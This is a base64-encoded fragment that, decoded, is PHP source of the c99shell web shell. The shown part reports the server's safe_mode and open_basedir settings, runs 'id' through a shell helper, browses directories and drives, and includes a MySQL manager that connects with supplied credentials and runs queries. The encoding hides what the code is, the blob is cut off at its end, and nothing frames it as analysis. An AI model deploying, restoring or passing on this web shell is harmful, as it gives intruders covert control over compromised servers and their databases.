ICgkYWN0ID09ICJnb2ZpbGUiKSB7aWYgKGlzX2RpcigkZikpIHskYWN0ID0gImxzIjsgJGQgPSAkZjt9IGVsc2UgeyRhY3QgPSAiZiI7ICRkID0gZGlybmFtZSgkZik7ICRmID0gYmFzZW5hbWUoJGYpO319DQovL1NlbmRpbmcgaGVhZGVycw0KQG9iX3N0YXJ0KCk7DQpAb2JfaW1wbGljaXRfZmx1c2goMCk7DQpmdW5jdGlvbiBvbnBocHNodXRkb3duKCkNCnsNCiBnbG9iYWwgJGd6aXBlbmNvZGUsJGZ0Ow0KIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAhaW5fYXJyYXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpDQogew0KICAkdiA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgQG9iX2VuZF9jbGVhbigpOw0KICBAb2Jfc3RhcnQoIm9iX2d6SGFuZGxlciIpOw0KICBlY2hvICR2Ow0KICBAb2JfZW5kX2ZsdXNoKCk7DQogfQ0KfQ0KZnVuY3Rpb24gYzk5c2hleGl0KCkNCnsNCiBvbnBocHNodXRkb3duKCk7DQogZXhpdDsNCn0NCmhlYWRlcigiRXhwaXJlczogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsNCmhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5nbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikuIiBHTVQiKTsNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIsIGZhbHNlKTsNCmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KaWYgKGVtcHR5KCR0bXBkaXIpKQ0Kew0KICR0bXBkaXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpOw0KIGlmIChpc19kaXIoJHRtcGRpcikpIHskdG1wZGlyID0gIi90bXAvIjt9DQp9DQokdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpcik7DQokdG1wZGlyID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0bXBkaXIpOw0KaWYgKHN1YnN0cigkdG1wZGlyLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHRtcGRpciAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCmlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9sb2dzID0gJHRtcGRpcjt9DQplbHNlIHskdG1wZGlyX2xvZ3MgPSByZWFscGF0aCgkdG1wZGlyX2xvZ3MpO30NCmlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpDQp7DQogJHNhZmVtb2RlID0gdHJ1ZTsNCiAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPXJlZD5PTiAoc2VjdXJlKTwvZm9udD4iOw0KfQ0KZWxzZSB7JHNhZmVtb2RlID0gZmFsc2U7ICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iO30NCiR2ID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaWYgKCR2IG9yIHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHskb3BlbmJhc2VkaXIgPSB0cnVlOyAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9yPXJlZD4iLiR2LiI8L2ZvbnQ+Ijt9DQplbHNlIHskb3BlbmJhc2VkaXIgPSBmYWxzZTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7fQ0KJHNvcnQgPSBodG1sc3BlY2lhbGNoYXJzKCRzb3J0KTsNCmlmIChlbXB0eSgkc29ydCkpIHskc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQ0KJHNvcnRbMV0gPSBzdHJ0b2xvd2VyKCRzb3J0WzFdKTsNCiRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IGdldGVudigiU0VSVkVSX1NPRlRXQVJFIik7DQppZiAoIWVyZWcoIlBIUC8iLnBocHZlcnNpb24oKSwkRElTUF9TRVJWRVJfU09GVFdBUkUpKSB7JERJU1BfU0VSVkVSX1NPRlRXQVJFIC49ICIuIFBIUC8iLnBocHZlcnNpb24oKTt9DQokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBzdHJfcmVwbGFjZSgiUEhQLyIucGhwdmVyc2lvbigpLCI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXBocGluZm9cIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj48dT5QSFAvIi5waHB2ZXJzaW9uKCkuIjwvdT48L2I+PC9hPiIsaHRtbHNwZWNpYWxjaGFycygkRElTUF9TRVJWRVJfU09GVFdBUkUpKTsNCkBpbmlfc2V0KCJoaWdobGlnaHQuYmciLCRoaWdobGlnaHRfYmcpOyAvL0ZGRkZGRg0KQGluaV9zZXQoImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOyAvLyNGRjgwMDANCkBpbmlfc2V0KCJoaWdobGlnaHQuZGVmYXVsdCIsJGhpZ2hsaWdodF9kZWZhdWx0KTsgLy8jMDAwMEJCDQpAaW5pX3NldCgiaGlnaGxpZ2h0Lmh0bWwiLCRoaWdobGlnaHRfaHRtbCk7IC8vIzAwMDAwMA0KQGluaV9zZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOyAvLyMwMDc3MDANCkBpbmlfc2V0KCJoaWdobGlnaHQuc3RyaW5nIiwkaGlnaGxpZ2h0X3N0cmluZyk7IC8vI0REMDAwMA0KaWYgKCFpc19hcnJheSgkYWN0Ym94KSkgeyRhY3Rib3ggPSBhcnJheSgpO30NCiRkc3BhY3QgPSAkYWN0ID0gaHRtbHNwZWNpYWxjaGFycygkYWN0KTsNCiRkaXNwX2Z1bGxwYXRoID0gJGxzX2FyciA9ICRub3RscyA9IG51bGw7DQokdWQgPSB1cmxlbmNvZGUoJGQpOw0KPz48aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTEiPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIj48dGl0bGU+PD9waHAgZWNobyBnZXRlbnYoIkhUVFBfSE9TVCIpOyA/PiAtIGM5OXNoZWxsPC90aXRsZT48U1RZTEU+VEQgeyBGT05ULVNJWkU6IDhwdDsgQ09MT1I6ICNlYmViZWI7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31CT0RZIHsgc2Nyb2xsYmFyLWZhY2UtY29sb3I6ICM4MDAwMDA7IHNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLXRyYWNrLWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItYXJyb3ctY29sb3I6ICMxMDEwMTA7IGZvbnQtZmFtaWx5OiBWZXJkYW5hO31URC5oZWFkZXIgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBGT05ULVNJWkU6IDEwcHQ7IEJBQ0tHUk9VTkQ6ICM3ZDc0NzQ7IENPTE9SOiB3aGl0ZTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7fUEgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2RhZGFkYTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUEuTGlua3MgeyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzOnVua25vd24geyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BOmhvdmVyIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogdW5kZXJsaW5lO30uc2tpbjB7cG9zaXRpb246YWJzb2x1dGU7IHdpZHRoOjIwMHB4OyBib3JkZXI6MnB4IHNvbGlkIGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOm1lbnU7IGZvbnQtZmFtaWx5OlZlcmRhbmE7IGxpbmUtaGVpZ2h0OjIwcHg7IGN1cnNvcjpkZWZhdWx0OyB2aXNpYmlsaXR5OmhpZGRlbjs7fS5za2luMXtjdXJzb3I6IGRlZmF1bHQ7IGZvbnQ6IG1lbnV0ZXh0OyBwb3NpdGlvbjogYWJzb2x1dGU7IHdpZHRoOiAxNDVweDsgYmFja2dyb3VuZC1jb2xvcjogbWVudTsgYm9yZGVyOiAxIHNvbGlkIGJ1dHRvbmZhY2U7dmlzaWJpbGl0eTpoaWRkZW47IGJvcmRlcjogMiBvdXRzZXQgYnV0dG9uaGlnaGxpZ2h0OyBmb250LWZhbWlseTogVmVyZGFuYSxHZW5ldmEsIEFyaWFsOyBmb250LXNpemU6IDEwcHg7IGNvbG9yOiBibGFjazt9Lm1lbnVpdGVtc3twYWRkaW5nLWxlZnQ6MTVweDsgcGFkZGluZy1yaWdodDoxMHB4Ozt9aW5wdXR7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9dGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9YnV0dG9ue2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXNlbGVjdHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31vcHRpb24ge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWlmcmFtZSB7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9cCB7TUFSR0lOLVRPUDogMHB4OyBNQVJHSU4tQk9UVE9NOiAwcHg7IExJTkUtSEVJR0hUOiAxNTAlfWJsb2NrcXVvdGV7IGZvbnQtc2l6ZTogOHB0OyBmb250LWZhbWlseTogQ291cmllciwgRml4ZWQsIEFyaWFsOyBib3JkZXIgOiA4cHggc29saWQgI0E5QTlBOTsgcGFkZGluZzogMWVtOyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDVlbTsgbWFyZ2luLXJpZ2h0OiAzZW07IG1hcmdpbi1sZWZ0OiA0ZW07IGJhY2tncm91bmQtY29sb3I6ICNCN0IyQjA7fWJvZHksdGQsdGggeyBmb250LWZhbWlseTogdmVyZGFuYTsgY29sb3I6ICNkOWQ5ZDk7IGZvbnQtc2l6ZTogMTFweDt9Ym9keSB7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7fTwvc3R5bGU+PC9oZWFkPjxCT0RZIHRleHQ9I2ZmZmZmZiBib3R0b21NYXJnaW49MCBiZ0NvbG9yPSMwMDAwMDAgbGVmdE1hcmdpbj0wIHRvcE1hcmdpbj0wIHJpZ2h0TWFyZ2luPTAgbWFyZ2luaGVpZ2h0PTAgbWFyZ2lud2lkdGg9MD48Y2VudGVyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPSIjQzBDMEMwIj48dHI+PHRoIHdpZHRoPSIxMDElIiBoZWlnaHQ9IjE1IiBub3dyYXAgYm9yZGVyY29sb3I9IiNDMEMwQzAiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48cD48Zm9udCBmYWNlPVdlYmRpbmdzIHNpemU9Nj48Yj4hPC9iPjwvZm9udD48YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iNSI+PGI+Qzk5U2hlbGwgdi4gPD9waHAgZWNobyAkc2h2ZXI7ID8+PC9iPjwvZm9udD48L2E+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PC9wPjwvY2VudGVyPjwvdGg+PC90cj48dHI+PHRkPjxwIGFsaWduPSJsZWZ0Ij48Yj5Tb2Z0d2FyZTombmJzcDs8P3BocCBlY2hvICRESVNQX1NFUlZFUl9TT0ZUV0FSRTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj51bmFtZSAtYTombmJzcDs8P3BocCBlY2hvIHdvcmR3cmFwKHBocF91bmFtZSgpLDkwLCI8YnI+IiwxKTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj48P3BocCBpZiAoISR3aW4pIHtlY2hvIHdvcmR3cmFwKG15c2hlbGxleGVjKCJpZCIpLDkwLCI8YnI+IiwxKTt9IGVsc2Uge2VjaG8gZ2V0X2N1cnJlbnRfdXNlcigpO30gPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj5TYWZlLW1vZGU6Jm5ic3A7PD9waHAgZWNobyAkaHNhZmVtb2RlOyA/PjwvYj48L3A+PHAgYWxpZ249ImxlZnQiPjw/cGhwDQokZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQppZiAoZW1wdHkoJGQpKSB7JGQgPSByZWFscGF0aCgiLiIpO30gZWxzZWlmKHJlYWxwYXRoKCRkKSkgeyRkID0gcmVhbHBhdGgoJGQpO30NCiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCmlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOw0KJGRpc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZCk7DQokcGQgPSAkZSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUixzdWJzdHIoJGQsMCwtMSkpOw0KJGkgPSAwOw0KZm9yZWFjaCgkcGQgYXMgJGIpDQp7DQogJHQgPSAiIjsNCiAkaiA9IDA7DQogZm9yZWFjaCAoJGUgYXMgJHIpDQogew0KICAkdC49ICRyLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQogIGlmICgkaiA9PSAkaSkge2JyZWFrO30NCiAgJGorKzsNCiB9DQogZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCR0KS4iJnNvcnQ9Ii4kc29ydC4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRiKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiI8L2I+PC9hPiI7DQogJGkrKzsNCn0NCmVjaG8gIiZuYnNwOyZuYnNwOyZuYnNwOyI7DQppZiAoaXNfd3JpdGFibGUoJGQpKQ0Kew0KICR3ZCA9IHRydWU7DQogJHdkdCA9ICI8Zm9udCBjb2xvcj1ncmVlbj5bIG9rIF08L2ZvbnQ+IjsNCiBlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRkKSkuIjwvZm9udD48L2I+IjsNCn0NCmVsc2UNCnsNCiAkd2QgPSBmYWxzZTsNCiAkd2R0ID0gIjxmb250IGNvbG9yPXJlZD5bIFJlYWQtT25seSBdPC9mb250PiI7DQogZWNobyAiPGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPiI7DQp9DQppZiAoaXNfY2FsbGFibGUoImRpc2tfZnJlZV9zcGFjZSIpKQ0Kew0KICRmcmVlID0gZGlza19mcmVlX3NwYWNlKCRkKTsNCiAkdG90YWwgPSBkaXNrX3RvdGFsX3NwYWNlKCRkKTsNCiBpZiAoJGZyZWUgPT09IGZhbHNlKSB7JGZyZWUgPSAwO30NCiBpZiAoJHRvdGFsID09PSBmYWxzZSkgeyR0b3RhbCA9IDA7fQ0KIGlmICgkZnJlZSA8IDApIHskZnJlZSA9IDA7fQ0KIGlmICgkdG90YWwgPCAwKSB7JHRvdGFsID0gMDt9DQogJHVzZWQgPSAkdG90YWwtJGZyZWU7DQogJGZyZWVfcGVyY2VudCA9IHJvdW5kKDEwMC8oJHRvdGFsLyRmcmVlKSwyKTsNCiBlY2hvICI8YnI+PGI+RnJlZSAiLnZpZXdfc2l6ZSgkZnJlZSkuIiBvZiAiLnZpZXdfc2l6ZSgkdG90YWwpLiIgKCIuJGZyZWVfcGVyY2VudC4iJSk8L2I+IjsNCn0NCmVjaG8gIjxicj4iOw0KJGxldHRlcnMgPSAiIjsNCmlmICgkd2luKQ0Kew0KICR2ID0gZXhwbG9kZSgiXFwiLCRkKTsNCiAkdiA9ICR2WzBdOw0KIGZvcmVhY2ggKHJhbmdlKCJhIiwieiIpIGFzICRsZXR0ZXIpDQogew0KICAkYm9vbCA9ICRpc2Rpc2tldHRlID0gaW5fYXJyYXkoJGxldHRlciwkc2FmZW1vZGVfZGlza2V0dGVzKTsNCiAgaWYgKCEkYm9vbCkgeyRib29sID0gaXNfZGlyKCRsZXR0ZXIuIjpcXCIpO30NCiAgaWYgKCRib29sKQ0KICB7DQogICAkbGV0dGVycyAuPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCRsZXR0ZXIuIjpcXCIpLiJcIiIuKCRpc2Rpc2tldHRlPyIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdNYWtlIHN1cmUgdGhhdCB0aGUgZGlza2V0dGUgaXMgaW5zZXJ0ZWQgcHJvcGVybHksIG90aGVyd2lzZSBhbiBlcnJvciBtYXkgb2NjdXIuJylcIiI6IiIpLiI+WyAiOw0KICAgaWYgKCRsZXR0ZXIuIjoiICE9ICR2KSB7JGxldHRlcnMgLj0gJGxldHRlcjt9DQogICBlbHNlIHskbGV0dGVycyAuPSAiPGZvbnQgY29sb3I9Z3JlZW4+Ii4kbGV0dGVyLiI8L2ZvbnQ+Ijt9DQogICAkbGV0dGVycyAuPSAiIF08L2E+ICI7DQogIH0NCiB9DQogaWYgKCFlbXB0eSgkbGV0dGVycykpIHtlY2hvICI8Yj5EZXRlY3RlZCBkcml2ZXM8L2I+OiAiLiRsZXR0ZXJzLiI8YnI+Ijt9DQp9DQppZiAoY291bnQoJHF1aWNrbGF1bmNoKSA+IDApDQp7DQogZm9yZWFjaCgkcXVpY2tsYXVuY2ggYXMgJGl0ZW0pDQogew0KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsdXJsZW5jb2RlKCRkKSwkaXRlbVsxXSk7DQogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVzb3J0Iiwkc29ydCwkaXRlbVsxXSk7DQogICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7DQogIGlmIChlbXB0eSgkdikpIHskYSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7IHVuc2V0KCRhW2NvdW50KCRhKS0yXSk7ICR2ID0gam9pbihESVJFQ1RPUllfU0VQQVJBVE9SLCRhKTt9DQogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiV1cGQiLHVybGVuY29kZSgkdiksJGl0ZW1bMV0pOw0KICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7DQogfQ0KfQ0KZWNobyAiPC9wPjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KaWYgKCghZW1wdHkoJGRvbmF0ZWRfaHRtbCkpIGFuZCAoaW5fYXJyYXkoJGFjdCwkZG9uYXRlZF9hY3QpKSkge2VjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIHZhbGlnbj1cInRvcFwiPiIuJGRvbmF0ZWRfaHRtbC4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7fQ0KZWNobyAiPFRBQkxFIHN0eWxlPVwiQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZVwiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9XCIxMDAlXCIgdmFsaWduPVwidG9wXCI+IjsNCmlmICgkYWN0ID09ICIiKSB7JGFjdCA9ICRkc3BhY3QgPSAibHMiO30NCmlmICgkYWN0ID09ICJzcWwiKQ0Kew0KICRzcWxfc3VybCA9ICRzdXJsLiJhY3Q9c3FsIjsNCiBpZiAoJHNxbF9sb2dpbikgIHskc3FsX3N1cmwgLj0gIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pO30NCiBpZiAoJHNxbF9wYXNzd2QpIHskc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7fQ0KIGlmICgkc3FsX3NlcnZlcikgeyRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTt9DQogaWYgKCRzcWxfcG9ydCkgICB7JHNxbF9zdXJsIC49ICImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7fQ0KIGlmICgkc3FsX2RiKSAgICAgeyRzcWxfc3VybCAuPSAiJnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7fQ0KICRzcWxfc3VybCAuPSAiJiI7DQogZWNobyAiPGgzPkF0dGVudGlvbiEgU1FMLU1hbmFnZXIgaXMgPHU+Tk9UPC91PiByZWFkeSBtb2R1bGUhIERvbid0IHJlcG9ydHMgYnVncy48L2gzPjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj1cIiNDMEMwQzBcIj48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIGhlaWdodD0xIGNvbHNwYW49MiB2YWxpZ249dG9wPjxjZW50ZXI+IjsNCiBpZiAoJHNxbF9zZXJ2ZXIpDQogew0KICAkc3FsX3NvY2sgPSBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsNCiAgJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsNCiAgQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7DQogIGlmICgkc3FsX3F1ZXJ5IGFuZCAkc3VibWl0KSB7JHNxbF9xdWVyeV9yZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jayk7ICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCk7fQ0KIH0NCiBlbHNlIHskc3FsX3NvY2sgPSBmYWxzZTt9DQogZWNobyAiPGI+U1FMIE1hbmFnZXI6PC9iPjxicj4iOw0KIGlmICghJHNxbF9zb2NrKQ0KIHsNCiAgaWYgKCEkc3FsX3NlcnZlcikge2VjaG8gIk5PIENPTk5FQ1RJT04iO30NCiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBjb25uZWN0PC9iPjwvY2VudGVyPiI7IGVjaG8gIjxiPiIuJGVyci4iPC9iPiI7fQ0KIH0NCiBlbHNlDQogew0KICAkc3FscXVpY2tsYXVuY2ggPSBhcnJheSgpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIik7DQogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlF1ZXJ5Iiwkc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXItc3RhdHVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnN0YXR1cyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnZhcnMiKTsNCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2Vzc2VzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXByb2